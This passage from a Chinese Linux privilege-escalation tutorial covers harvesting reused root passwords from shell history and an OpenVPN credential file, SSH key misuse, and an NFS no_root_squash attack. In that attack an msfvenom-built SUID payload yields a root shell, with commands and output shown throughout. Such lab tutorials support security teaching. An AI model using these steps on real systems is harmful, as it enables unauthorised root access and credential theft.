如果根用户将其密码用于某项服务并且密码以明文存储,那么这个密码可能会被发现并用于切换到根用户。
这段文字描述了一种可能导致权限升级的情况。如果根用户在某个服务中使用了与其帐户相同的密码,并且这个服务将密码以明文存储在配置文件中,那么攻击者可以获取该密码并尝试以根用户身份登录系统,从而升级权限
8.1通过历史文件记录中查找密码提权
历史记录文件会记录由用户在使用某些程序时发出的命令。如果用户根据命令输入密码,则该密码可能会存储在历史记录文件中。尝试使用已发现的密码切换到根用户也有可能
8.1.1查找文件
cat ~/.*history | less
ls -al
cat .bash_history
ls -al
mysql -h somehost.local -uroot -ppassword123
用户使用密码123,以根用户身份连接到MySQL服务器
8.1.2使用该密码尝试登录root
su root
Password:
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
8.2配置文件中查找密码提权
许多服务和程序都使用配置(配置)文件来存储设置。如果服务需要对某些内容进行身份验证,那么它可能会将凭据存储在一个配置文件中。如果这些配置文件是可访问的,并且它们存储的密码会被特权用户重用,那么我们就可以使用它作为该用户登录
8.2.1列出该用户的主目录中的内容
ls -alh
myvpn.ovpn tools
8.2.2查看myvpn.ovpn配置文件的内容
cat myvpn.ovpn
...
auth-user-pass /etc/openvpn/auth.txt
8.2.3查看/etc/openvpn/auth.txt内容
cat /etc/openvpn/auth.txt
root
password123
8.2.4用刚才找到的密码登录
su root
Password:
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
9.SSH Keys提权
SSH密钥可以用于替代密码来认证SSH用户。
SSH密钥以一对形式存在,包括一个私钥和一个公钥。私钥应始终保密。
如果用户未安全地存储了他们的私钥,任何能够读取该私钥的人都可能使用它来登录其帐户 前面的例子中已经讲过一次利用方式(见4.1)
10、NFS提权
NFS(网络文件系统)是一种流行的分布式文件系统。
NFS共享在/etc/exports文件中进行配置。
远程用户可以挂载共享、访问、创建和修改文件。
默认情况下,创建的文件会继承远程用户的ID和组ID(作为所有者和组),即使它们在NFS服务器上不存在也是如此
NFS 常用命令
显示NFS服务器的导出列表
showmount -e <target>
使用nmap探测
nmap –sV –script=nfs-showmount <target>
装载NFS共享
mount -o rw,vers=2 <target>:<share> <local_directory>
Root Squashing 是 NFS 用来防止明显特权升级的方法。
如果远程用户是(或声称是)root(uid=0),NFS 将会将该用户“压制”(squash),并将其视为“nobody”用户,属于“nogroup”组。
虽然这是默认行为,但可以禁用它
no_root_squash" 是一个 NFS 配置选项,用于关闭 root squashing。
当在可写共享配置中包括这个选项时,一个将自己标识为 “root” 的远程用户可以在 NFS 共享上以本地 root 用户的身份创建文件。
10.1通过NFS创建文件提取
10.1.1检查具有 “no_root_squash” 选项的 /etc/exports 文件中的共享内容
cat /etc/exports
...
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
10.1.2确认NFS共享可用于远程挂载
showmount -e 192.168.1.25
Exports list on 192.168.1.25:
/tmp
10.1.3在本地计算机上创建一个装载点,并装载/tmp NFS共享
mkdir /tmp/nfs
mount -o rw,vers=2 192.168.1.25:/tmp /tmp/nfs
10.1.4在本地计算机上使用root用户,生成有效负载并将其保存到挂载的共享中
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
10.1.5确保该文件设置了SUID位,并且可以由每个人执行
chmod +xs /tmp/nfs/shell.elf
10.1.6在目标机器上,执行该文件以获取根外壳
/tmp/shell.elf
bash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)